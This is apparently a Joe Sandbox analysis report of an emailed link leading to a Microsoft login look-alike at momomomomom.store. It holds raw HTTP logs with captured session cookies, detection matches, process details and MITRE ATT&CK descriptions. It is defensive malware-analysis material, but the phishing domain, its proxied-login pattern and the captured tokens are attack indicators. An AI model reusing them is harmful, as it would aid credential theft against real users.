2024-05-07 18:29:04 UTC	1703	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/picker_account_aad_f83ebff69a4a1685e4dc9650cdab8886.svg HTTP/1.1 Host: momomomomom.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:29:05 UTC	785	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:29:05 GMT Content-Type: image/svg+xml Content-Length: 628 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Sat, 31 Oct 2020 02:21:09 GMT ETag: 0x8D87D43A145A2CC x-ms-request-id: 16d2b428-d01e-000b-1fac-a0c089000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182904Z-1675f555588rjdlba78m1uwh8n00000005u000000000z1dx x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-05-07 18:29:05 UTC	628	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 6d 94 4d 6f db 30 0c 86 ff 8a e1 5d 25 46 d4 97 a5 36 09 90 9d 72 58 af 3b f4 e6 26 69 1d c0 5d 8b 26 48 5a 0c fd ef 23 25 ba cb d6 42 f1 e3 98 34 c5 57 24 93 f9 e1 f4 d0 bc 3e 8e bf 0e 8b 76 38 1e 9f af 66 b3 f3 f9 0c 67 07 4f 2f 0f 33 6b 8c 99 d1 1b 6d 73 de 6f 8f c3 a2 f5 a9 6d 86 dd fe 61 38 d6 ef a7 fd ee fc fd e9 75 d1 9a c6 34 3e d1 a7 5d ce b7 bb fb c3 72 7e 38 be 8d bb 25 f4 bf ef f7 e3 78 f5 6d 17 79 5d bf c3 9d 18 bc e1 75 fd 3e 9f d5 37 e7 b3 1a b7 d9 bf 6c c6 5d b3 19 fb 03 69 ea db 66 43 db 5b 4f f7 b7 7a 7f 29 b7 d9 72 fe dc 1f 87 e9 bd bb b6 d9 2e da 1b 67 21 28 f4 2b 04 9f ad aa 34 b4 50 39 af 30 40 f8 e9 12 84 e2 f6 aa 52 dc 1c e8 cd a0 b1 fb c2 8b 5e 71 dc 49 5b f7 95 37 94 a4 83 87 d4 b9 51 3b 1d 07 0b 36 Data Ascii: mMo0]%F6 rX;&i]&HZ#%B4W$>v8fgO/3kmsoma8u4>]r~8%xmy]u>7l]ifC[Oz)r.g!(+4P90@R^qI[7Q;6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	49811	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:29:04 UTC	1703	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/picker_account_msa_2d8f86059be176833897099ee6ddedeb.svg HTTP/1.1 Host: momomomomom.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:29:05 UTC	799	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:29:05 GMT Content-Type: image/svg+xml Content-Length: 254 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:39 GMT ETag: 0x8D79B8374511AB4 x-ms-request-id: fb5128e1-b01e-001d-30ac-a08aa7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182905Z-17859dc676bc9jbvnf83s18x0w00000005m00000000192zx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 18:29:05 UTC	254	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 6d 50 cb 6e c3 20 10 fc 15 44 af 78 59 30 06 5c d9 96 d2 7b 7f 20 37 cb a1 06 c9 79 c8 46 21 fd fb 9a 90 f6 54 0d 9a 59 98 59 ad 96 6e bb cf e4 71 5e 2e 5b 4f 7d 8c b7 77 ce 53 4a 90 6a b8 ae 33 97 88 c8 f7 04 25 29 9c a2 ef a9 b2 94 78 17 66 1f 4b 7d 0f 2e 7d 5c 1f 3d 45 82 44 d9 fd d0 a1 8b 21 2e 6e 18 b7 cd c5 ad e3 e5 d6 4d 61 9d 16 47 a6 3d 2b 15 25 d3 77 d1 b5 c8 57 58 96 9e be 39 9d 41 f9 d0 dd c6 e8 c9 a9 a7 9f a2 06 a5 58 ad bd 80 56 8e 16 b4 62 4f 42 26 32 0c 48 cb b0 98 02 a1 31 35 7b 09 66 54 1a 1a dd 56 2d 18 23 98 01 6d 0b e5 66 ac 0c b4 56 32 3c fc d3 c7 7e c7 1e cf 0a 6c 25 34 d4 f2 d0 80 d1 ec 49 65 b8 54 4c 36 39 96 df f4 8b b1 98 16 76 57 b4 fb b0 e3 df 76 0a 33 f2 76 f9 4f 87 1f 7d d7 81 14 7b 01 00 00 Data Ascii: mPn DxY0\{ 7yF!T YYnq^.[O}wSJj3%)xfK}.}\=ED!.nMaG=+%wWX9AXVbOB&2H15{ fTV-#mfV2<~ l%4IeTL69vWv 3vO}{

Target ID:	0
Start time:	20:27:49
Start date:	07/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	20:27:53
Start date:	07/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2224,i,90469687096284850,7662739354116214109,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	20:27:58
Start date:	07/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://url.us.m.mimecastprotect.com/s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: Yara match	File source: 4.8.pages.csv, type: HTML
Source: Yara match	File source: 5.14.pages.csv, type: HTML
Source: Yara match	File source: 5.9.pages.csv, type: HTML
Source: Yara match	File source: 5.11.pages.csv, type: HTML

Source: https://momomomomom.store	Matcher: Template: microsoft matched with high similarity
Source: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true	Matcher: Template: microsoft matched with high similarity

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://url.us.m.mimecastprotect.com/s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Windows Analysis Report
https://url.us.m.mimecastprotect.com/s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net